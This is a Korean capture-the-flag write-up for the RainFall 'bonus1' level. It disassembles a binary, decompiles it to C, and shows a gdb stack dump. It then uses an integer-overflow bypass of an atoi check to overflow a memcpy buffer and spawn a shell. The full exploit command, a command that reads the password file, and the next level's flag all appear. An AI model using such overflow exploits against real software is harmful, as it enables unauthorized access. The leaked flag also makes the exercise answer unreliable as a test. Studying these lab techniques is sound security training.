bonus1

태그	Assembly BufferOverflow NOPSled Shell
상태	완료

풀이과정

겪었던 어려움

atoi 입력값에 대한 overflow 제한을 우회하는 방법에 대해서 어려웠다.

풀이과정

아래는 objdump와 gdb를 통해서 파악한 기본 구조이다.

```
./bonus1:     file format elf32-i386


Disassembly of section .init:

080482d4 <_init>:
 80482d4:   53                      push   %ebx
 80482d5:   83 ec 08                sub    $0x8,%esp
 80482d8:   e8 00 00 00 00          call   80482dd <_init+0x9>
 80482dd:   5b                      pop    %ebx
 80482de:   81 c3 87 14 00 00       add    $0x1487,%ebx
 80482e4:   8b 83 fc ff ff ff       mov    -0x4(%ebx),%eax
 80482ea:   85 c0                   test   %eax,%eax
 80482ec:   74 05                   je     80482f3 <_init+0x1f>
 80482ee:   e8 3d 00 00 00          call   8048330 <__gmon_start__@plt>
 80482f3:   e8 08 01 00 00          call   8048400 <frame_dummy>
 80482f8:   e8 33 02 00 00          call   8048530 <__do_global_ctors_au
 80482fd:   83 c4 08                add    $0x8,%esp
 8048300:   5b                      pop    %ebx
 8048301:   c3                      ret

Disassembly of section .plt:
```

```
08048310 <memcpy@plt-0x10>:
 8048310:   ff 35 68 97 04 08       pushl  0x8049768
 8048316:   ff 25 6c 97 04 08       jmp    *0x804976c
 804831c:   00 00                   add    %al,(%eax)
    ...

08048320 <memcpy@plt>:
 8048320:   ff 25 70 97 04 08       jmp    *0x8049770
 8048326:   68 00 00 00 00          push   $0x0
 804832b:   e9 e0 ff ff ff          jmp    8048310 <_init+0x3c>

08048330 <__gmon_start__@plt>:
 8048330:   ff 25 74 97 04 08       jmp    *0x8049774
 8048336:   68 08 00 00 00          push   $0x8
 804833b:   e9 d0 ff ff ff          jmp    8048310 <_init+0x3c>

08048340 <__libc_start_main@plt>:
 8048340:   ff 25 78 97 04 08       jmp    *0x8049778
 8048346:   68 10 00 00 00          push   $0x10
 804834b:   e9 c0 ff ff ff          jmp    8048310 <_init+0x3c>

08048350 <execl@plt>:
 8048350:   ff 25 7c 97 04 08       jmp    *0x804977c
 8048356:   68 18 00 00 00          push   $0x18
 804835b:   e9 b0 ff ff ff          jmp    8048310 <_init+0x3c>

08048360 <atoi@plt>:
 8048360:   ff 25 80 97 04 08       jmp    *0x8049780
 8048366:   68 20 00 00 00          push   $0x20
 804836b:   e9 a0 ff ff ff          jmp    8048310 <_init+0x3c>

Disassembly of section .text:

08048370 <_start>:
 8048370:   31 ed                   xor    %ebp,%ebp
 8048372:   5e                      pop    %esi
 8048373:   89 e1                   mov    %esp,%ecx
 8048375:   83 e4 f0                and    $0xfffffff0,%esp
 8048378:   50                      push   %eax
 8048379:   54                      push   %esp
 804837a:   52                      push   %edx
 804837b:   68 20 85 04 08          push   $0x8048520
 8048380:   68 b0 84 04 08          push   $0x80484b0
 8048385:   51                      push   %ecx
```

```
 8048386:   56                      push   %esi
 8048387:   68 24 84 04 08          push   $0x8048424
 804838c:   e8 af ff ff ff          call   8048340 <__libc_start_main@pl
 8048391:   f4                      hlt
 8048392:   90                      nop
 8048393:   90                      nop
 8048394:   90                      nop
 8048395:   90                      nop
 8048396:   90                      nop
 8048397:   90                      nop
 8048398:   90                      nop
 8048399:   90                      nop
 804839a:   90                      nop
 804839b:   90                      nop
 804839c:   90                      nop
 804839d:   90                      nop
 804839e:   90                      nop
 804839f:   90                      nop

080483a0 <__do_global_dtors_aux>:
 80483a0:   55                      push   %ebp
 80483a1:   89 e5                   mov    %esp,%ebp
 80483a3:   53                      push   %ebx
 80483a4:   83 ec 04                sub    $0x4,%esp
 80483a7:   80 3d 8c 97 04 08 00    cmpb   $0x0,0x804978c
 80483ae:   75 3f                   jne    80483ef <__do_global_dtors_au
 80483b0:   a1 90 97 04 08          mov    0x8049790,%eax
 80483b5:   bb 90 96 04 08          mov    $0x8049690,%ebx
 80483ba:   81 eb 8c 96 04 08       sub    $0x804968c,%ebx
 80483c0:   c1 fb 02                sar    $0x2,%ebx
 80483c3:   83 eb 01                sub    $0x1,%ebx
 80483c6:   39 d8                   cmp    %ebx,%eax
 80483c8:   73 1e                   jae    80483e8 <__do_global_dtors_au
 80483ca:   8d b6 00 00 00 00       lea    0x0(%esi),%esi
 80483d0:   83 c0 01                add    $0x1,%eax
 80483d3:   a3 90 97 04 08          mov    %eax,0x8049790
 80483d8:   ff 14 85 8c 96 04 08    call   *0x804968c(,%eax,4)
 80483df:   a1 90 97 04 08          mov    0x8049790,%eax
 80483e4:   39 d8                   cmp    %ebx,%eax
 80483e6:   72 e8                   jb     80483d0 <__do_global_dtors_au
 80483e8:   c6 05 8c 97 04 08 01    movb   $0x1,0x804978c
 80483ef:   83 c4 04                add    $0x4,%esp
 80483f2:   5b                      pop    %ebx
 80483f3:   5d                      pop    %ebp
 80483f4:   c3                      ret
```

```
 80483f5:   8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi
 80483f9:   8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi

08048400 <frame_dummy>:
 8048400:   55                      push   %ebp
 8048401:   89 e5                   mov    %esp,%ebp
 8048403:   83 ec 18                sub    $0x18,%esp
 8048406:   a1 94 96 04 08          mov    0x8049694,%eax
 804840b:   85 c0                   test   %eax,%eax
 804840d:   74 12                   je     8048421 <frame_dummy+0x21>
 804840f:   b8 00 00 00 00          mov    $0x0,%eax
 8048414:   85 c0                   test   %eax,%eax
 8048416:   74 09                   je     8048421 <frame_dummy+0x21>
 8048418:   c7 04 24 94 96 04 08    movl   $0x8049694,(%esp)
 804841f:   ff d0                   call   *%eax
 8048421:   c9                      leave
 8048422:   c3                      ret
 8048423:   90                      nop

08048424 <main>:
 8048424:   55                      push   %ebp
 8048425:   89 e5                   mov    %esp,%ebp
 8048427:   83 e4 f0                and    $0xfffffff0,%esp
 804842a:   83 ec 40                sub    $0x40,%esp
 804842d:   8b 45 0c                mov    0xc(%ebp),%eax
 8048430:   83 c0 04                add    $0x4,%eax
 8048433:   8b 00                   mov    (%eax),%eax
 8048435:   89 04 24                mov    %eax,(%esp)
 8048438:   e8 23 ff ff ff          call   8048360 <atoi@plt>
 804843d:   89 44 24 3c             mov    %eax,0x3c(%esp)
 8048441:   83 7c 24 3c 09          cmpl   $0x9,0x3c(%esp)
 8048446:   7e 07                   jle    804844f <main+0x2b>
 8048448:   b8 01 00 00 00          mov    $0x1,%eax
 804844d:   eb 54                   jmp    80484a3 <main+0x7f>
 804844f:   8b 44 24 3c             mov    0x3c(%esp),%eax
 8048453:   8d 0c 85 00 00 00 00    lea    0x0(,%eax,4),%ecx
 804845a:   8b 45 0c                mov    0xc(%ebp),%eax
 804845d:   83 c0 08                add    $0x8,%eax
 8048460:   8b 00                   mov    (%eax),%eax
 8048462:   89 c2                   mov    %eax,%edx
 8048464:   8d 44 24 14             lea    0x14(%esp),%eax
 8048468:   89 4c 24 08             mov    %ecx,0x8(%esp)
 804846c:   89 54 24 04             mov    %edx,0x4(%esp)
 8048470:   89 04 24                mov    %eax,(%esp)
 8048473:   e8 a8 fe ff ff          call   8048320 <memcpy@plt>
```

```
 8048478:   81 7c 24 3c 46 4c 4f    cmpl   $0x574f4c46,0x3c(%esp)
 804847f:   57
 8048480:   75 1c                   jne    804849e <main+0x7a>
 8048482:   c7 44 24 08 00 00 00    movl   $0x0,0x8(%esp)
 8048489:   00
 804848a:   c7 44 24 04 80 85 04    movl   $0x8048580,0x4(%esp)
 8048491:   08
 8048492:   c7 04 24 83 85 04 08    movl   $0x8048583,(%esp)
 8048499:   e8 b2 fe ff ff          call   8048350 <execl@plt>
 804849e:   b8 00 00 00 00          mov    $0x0,%eax
 80484a3:   c9                      leave
 80484a4:   c3                      ret
 80484a5:   90                      nop
 80484a6:   90                      nop
 80484a7:   90                      nop
 80484a8:   90                      nop
 80484a9:   90                      nop
 80484aa:   90                      nop
 80484ab:   90                      nop
 80484ac:   90                      nop
 80484ad:   90                      nop
 80484ae:   90                      nop
 80484af:   90                      nop

080484b0 <__libc_csu_init>:
 80484b0:   55                      push   %ebp
 80484b1:   57                      push   %edi
 80484b2:   56                      push   %esi
 80484b3:   53                      push   %ebx
 80484b4:   e8 69 00 00 00          call   8048522 <__i686.get_pc_thunk.
 80484b9:   81 c3 ab 12 00 00       add    $0x12ab,%ebx
 80484bf:   83 ec 1c                sub    $0x1c,%esp
 80484c2:   8b 6c 24 30             mov    0x30(%esp),%ebp
 80484c6:   8d bb 20 ff ff ff       lea    -0xe0(%ebx),%edi
 80484cc:   e8 03 fe ff ff          call   80482d4 <_init>
 80484d1:   8d 83 20 ff ff ff       lea    -0xe0(%ebx),%eax
 80484d7:   29 c7                   sub    %eax,%edi
 80484d9:   c1 ff 02                sar    $0x2,%edi
 80484dc:   85 ff                   test   %edi,%edi
 80484de:   74 29                   je     8048509 <__libc_csu_init+0x59
 80484e0:   31 f6                   xor    %esi,%esi
 80484e2:   8d b6 00 00 00 00       lea    0x0(%esi),%esi
 80484e8:   8b 44 24 38             mov    0x38(%esp),%eax
 80484ec:   89 2c 24                mov    %ebp,(%esp)
 80484ef:   89 44 24 08             mov    %eax,0x8(%esp)
```

```
 80484f3:   8b 44 24 34             mov    0x34(%esp),%eax
 80484f7:   89 44 24 04             mov    %eax,0x4(%esp)
 80484fb:   ff 94 b3 20 ff ff ff    call   *-0xe0(%ebx,%esi,4)
 8048502:   83 c6 01                add    $0x1,%esi
 8048505:   39 fe                   cmp    %edi,%esi
 8048507:   75 df                   jne    80484e8 <__libc_csu_init+0x38
 8048509:   83 c4 1c                add    $0x1c,%esp
 804850c:   5b                      pop    %ebx
 804850d:   5e                      pop    %esi
 804850e:   5f                      pop    %edi
 804850f:   5d                      pop    %ebp
 8048510:   c3                      ret
 8048511:   eb 0d                   jmp    8048520 <__libc_csu_fini>
 8048513:   90                      nop
 8048514:   90                      nop
 8048515:   90                      nop
 8048516:   90                      nop
 8048517:   90                      nop
 8048518:   90                      nop
 8048519:   90                      nop
 804851a:   90                      nop
 804851b:   90                      nop
 804851c:   90                      nop
 804851d:   90                      nop
 804851e:   90                      nop
 804851f:   90                      nop

08048520 <__libc_csu_fini>:
 8048520:   f3 c3                   repz ret

08048522 <__i686.get_pc_thunk.bx>:
 8048522:   8b 1c 24                mov    (%esp),%ebx
 8048525:   c3                      ret
 8048526:   90                      nop
 8048527:   90                      nop
 8048528:   90                      nop
 8048529:   90                      nop
 804852a:   90                      nop
 804852b:   90                      nop
 804852c:   90                      nop
 804852d:   90                      nop
 804852e:   90                      nop
 804852f:   90                      nop

08048530 <__do_global_ctors_aux>:
```

```
 8048530:   55                      push   %ebp
 8048531:   89 e5                   mov    %esp,%ebp
 8048533:   53                      push   %ebx
 8048534:   83 ec 04                sub    $0x4,%esp
 8048537:   a1 84 96 04 08          mov    0x8049684,%eax
 804853c:   83 f8 ff                cmp    $0xffffffff,%eax
 804853f:   74 13                   je     8048554 <__do_global_ctors_aux
 8048541:   bb 84 96 04 08          mov    $0x8049684,%ebx
 8048546:   66 90                   xchg   %ax,%ax
 8048548:   83 eb 04                sub    $0x4,%ebx
 804854b:   ff d0                   call   *%eax
 804854d:   8b 03                   mov    (%ebx),%eax
 804854f:   83 f8 ff                cmp    $0xffffffff,%eax
 8048552:   75 f4                   jne    8048548 <__do_global_ctors_aux
 8048554:   83 c4 04                add    $0x4,%esp
 8048557:   5b                      pop    %ebx
 8048558:   5d                      pop    %ebp
 8048559:   c3                      ret
 804855a:   90                      nop
 804855b:   90                      nop

Disassembly of section .fini:

0804855c <_fini>:
 804855c:   53                      push   %ebx
 804855d:   83 ec 08                sub    $0x8,%esp
 8048560:   e8 00 00 00 00          call   8048565 <_fini+0x9>
 8048565:   5b                      pop    %ebx
 8048566:   81 c3 ff 11 00 00       add    $0x11ff,%ebx
 804856c:   e8 2f fe ff ff          call   80483a0 <__do_global_dtors_aux
 8048571:   83 c4 08                add    $0x8,%esp
 8048574:   5b                      pop    %ebx
 8048575:   c3                      ret
```

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x080482d4  _init
0x08048320  memcpy
0x08048320  memcpy@plt
0x08048330  __gmon_start__
0x08048330  __gmon_start__@plt
0x08048340  __libc_start_main
0x08048340  __libc_start_main@plt
```

```
0x08048350  execl
0x08048350  execl@plt
0x08048360  atoi
0x08048360  atoi@plt
0x08048370  _start
0x080483a0  __do_global_dtors_aux
0x08048400  frame_dummy
0x08048424  main
0x080484b0  __libc_csu_init
0x08048520  __libc_csu_fini
0x08048522  __i686.get_pc_thunk.bx
0x08048530  __do_global_ctors_aux
0x0804855c  _fini

(gdb) info variables
All defined variables:

Non-debugging symbols:
0x08048578  _fp_hw
0x0804857c  _IO_stdin_used
0x08048680  __FRAME_END__
0x08049684  __CTOR_LIST__
0x08049684  __init_array_end
0x08049684  __init_array_start
0x08049688  __CTOR_END__
0x0804968c  __DTOR_LIST__
0x08049690  __DTOR_END__
0x08049694  __JCR_END__
0x08049694  __JCR_LIST__
0x08049698  _DYNAMIC
0x08049764  _GLOBAL_OFFSET_TABLE_
0x08049784  __data_start
0x08049784  data_start
0x08049788  __dso_handle
0x0804978c  completed.6159
0x08049790  dtor_idx.6161
```

```
(gdb) disas main
Dump of assembler code for function main:
   0x08048424 <+0>:  push   %ebp
   0x08048425 <+1>:  mov    %esp,%ebp
   0x08048427 <+3>:  and    $0xfffffff0,%esp
   0x0804842a <+6>:  sub    $0x40,%esp
   0x0804842d <+9>:  mov    0xc(%ebp),%eax
   0x08048430 <+12>:    add    $0x4,%eax
```

```
   0x08048433 <+15>:    mov    (%eax),%eax
   0x08048435 <+17>:    mov    %eax,(%esp)
   0x08048438 <+20>:    call   0x8048360 <atoi@plt>
   0x0804843d <+25>:    mov    %eax,0x3c(%esp)
   0x08048441 <+29>:    cmpl   $0x9,0x3c(%esp)
   0x08048446 <+34>:    jle    0x804844f <main+43>
   0x08048448 <+36>:    mov    $0x1,%eax
   0x0804844d <+41>:    jmp    0x80484a3 <main+127>
   0x0804844f <+43>:    mov    0x3c(%esp),%eax
   0x08048453 <+47>:    lea    0x0(,%eax,4),%ecx
   0x0804845a <+54>:    mov    0xc(%ebp),%eax
   0x0804845d <+57>:    add    $0x8,%eax
   0x08048460 <+60>:    mov    (%eax),%eax
   0x08048462 <+62>:    mov    %eax,%edx
   0x08048464 <+64>:    lea    0x14(%esp),%eax
   0x08048468 <+68>:    mov    %ecx,0x8(%esp)
   0x0804846c <+72>:    mov    %edx,0x4(%esp)
   0x08048470 <+76>:    mov    %eax,(%esp)
   0x08048473 <+79>:    call   0x8048320 <memcpy@plt>
   0x08048478 <+84>:    cmpl   $0x574f4c46,0x3c(%esp)
   0x08048480 <+92>:    jne    0x804849e <main+122>
   0x08048482 <+94>:    movl   $0x0,0x8(%esp)
   0x0804848a <+102>:   movl   $0x8048580,0x4(%esp)
   0x08048492 <+110>:   movl   $0x8048583,(%esp)
   0x08048499 <+117>:   call   0x8048350 <execl@plt>
   0x0804849e <+122>:   mov    $0x0,%eax
   0x080484a3 <+127>:   leave
   0x080484a4 <+128>:   ret
```

그리고 ltrace를 통해서 인자에 대한 직접적인 동작을 파악해봤다.

```
bonus1@RainFall:~$ ltrace ./bonus1 2147483647
__libc_start_main(0x8048424, 2, 0xbffff7b4, 0x80484b0, 0x8048520 <unfinis
atoi(0xbffff8e6, 0x8049764, 2, 0x80482fd, 0xb7fd13e4)
+++ exited (status 1) +++

bonus1@RainFall:~$ ltrace ./bonus1 123456
__libc_start_main(0x8048424, 2, 0xbffff7c4, 0x80484b0, 0x8048520 <unfinis
atoi(0xbffff8ea, 0x8049764, 2, 0x80482fd, 0xb7fd13e4)
+++ exited (status 1) +++

bonus1@RainFall:~$ ltrace ./bonus1 0
__libc_start_main(0x8048424, 2, 0xbffff7c4, 0x80484b0, 0x8048520 <unfinis
atoi(0xbffff8ef, 0x8049764, 2, 0x80482fd, 0xb7fd13e4)
memcpy(0xbffff6f4, NULL, 0)
```

입력값에 따라서 동작이 달라졌는데 마지막 0을 넣었을 때는 memcpy가 동작하는데, disas main의 값들을 기준으로 C로 디컴파일하면 이 근거를 제대로 파악할 수 있다.

```
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
    int atoi_ret;
    char buf[40];
    // we allocated 64 bytes at 804842a, -
    // atoi_res size (4) - esp offset (20)

    // 8048438
    atoi_ret = atoi(argv[1]);
    if (atoi_ret <= 9)
    {
        int len;

        // 8048453
        len = atoi_res * 4;

        // 8048473
        memcpy(buf, argv[2], len);

        if (atoi_ret != 1464814662) // or 0x574f4c46
            return 1;
        else
            execl("/bin/sh", "sh");
    }
    else
        return 1;
}
```

argv1에 대해서 atoi를 값을 변환시키는 과정에서 `9` 이하여야 조건문을 충족해서 내부로 들어갈 수 있는데, `/bin/sh`을 실행시키는 조건문을 충족시키려면 `1464814662` 이여야 하는 아이러니한 상황인 것이었다. 그래서 위 결과에서 int의 경계값, 랜덤값을 넣었을 때 실행되지 않았던 memcpy가 입력값이 0일 때 실행되었던 것이다.

이제 이 정보를 알고 있으니, 짐작했겠지만 언더플로우를 이용해야한다.

1. 9 자리 이하의 값 이면서 -2,147,483,648보다 큰 값
2. atoi로 변환했을때 1,464,814,662 인 값

```
-1073741808 `python -c "print 'B' * 40 + '\x46\x4c\x4f\x57'"`
```

풀이과정(2)

```
  //memcpy 함수 직후에 break를 걸고 인자로 9와 36개 문자를 입력
   0x08048473 <+79>:    call   0x8048320 <memcpy@plt>
   0x08048478 <+84>:    cmpl   $0x574f4c46,0x3c(%esp)
   0x08048480 <+92>:    jne    0x804849e <main+122>
   0x08048482 <+94>:    movl   $0x0,0x8(%esp)
   0x0804848a <+102>:   movl   $0x8048580,0x4(%esp)
   0x08048492 <+110>:   movl   $0x8048583,(%esp)
   0x08048499 <+117>:   call   0x8048350 <execl@plt>
   0x0804849e <+122>:   mov    $0x0,%eax
   0x080484a3 <+127>:   leave
   0x080484a4 <+128>:   ret
End of assembler dump.
(gdb) break *0x08048478
Breakpoint 1 at 0x8048478
(gdb) set args 9 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
(gdb) run


(gdb) x/40wx $esp
0xbffff680: 0xbffff694  0xbffff8b9  0x00000024  0x080482fd
0xbffff690: 0xb7fd13e4  0x41414141  0x42424242  0x43434343
0xbffff6a0: 0x44444444  0x45454545  0x46464646  0x47474747
0xbffff6b0: 0x48484848  0x49494949  0x080484b9  0x00000009
0xbffff6c0: 0x080484b0  0x00000000  0x00000000  0xb7e454d3
0xbffff6d0: 0x00000003  0xbffff764  0xbffff774  0xb7fdc858
0xbffff6e0: 0x00000000  0xbffff71c  0xbffff774  0x00000000
0xbffff6f0: 0x0804821c  0xb7fd0ff4  0x00000000  0x00000000
0xbffff700: 0x00000000  0x8181b05e  0xb6c5344e  0x00000000
0xbffff710: 0x00000000  0x00000000  0x00000003  0x08048370
```

0x00000009이 저장된 위치의 값이 0x574f4c46이 되어야 프로그램은 /bin/sh을 실행함

memcpy를 통해서 두번째 인자를 크게 넣어서 버퍼오버플로우를 이용해 해당 위치에 0x574f4c46("WOLF")를 덮어 씌우면 되는데, NOP 문자 40개 + 0x574f4c46를 두번째 인자로 넣으면 된다.

memcpy의 copy 비트 수를 44로 맞추면된다

하지만 첫번째 인자의 값이 9이하로 제한되어 있는데, *4의 값을 memcpy의 인자로 넣기 때문에, *4를 했을때 44가 되는 음수의 int 값을 찾으면 된다.

```
// 44를 비트로 표현하면 아래와 같다
(1) 00000000 00000000 00000000 00101100

// 곱하기 4는 비트쉬프트 2와 같다는 점을 이용해서,
// *4의 값이 44가 되는 값은 44를 오른쪽 비트쉬프트 두번하면된다
(2) 10000000 00000000 00000000 00001011

// (2)번의 값이 int형에서 몇으로 계산되는지 구해준다. 비트 반전 시키고 + 1해주기
(3) 01111111 11111111 11111111 11110101

// (3)의 값에서 음수 기호만 붙여주면 끝이다
-2147483637
```

```
./bonus1 -2147483637 `python -c "print 'B' * 40 + 'WOLF'[::-1]"`
$ cat /home/user/bonus2/.pass
```

정답

`579bd19263eb8655e4cf7b742d75edf8c38226925d78db8163506f5191825245`

출처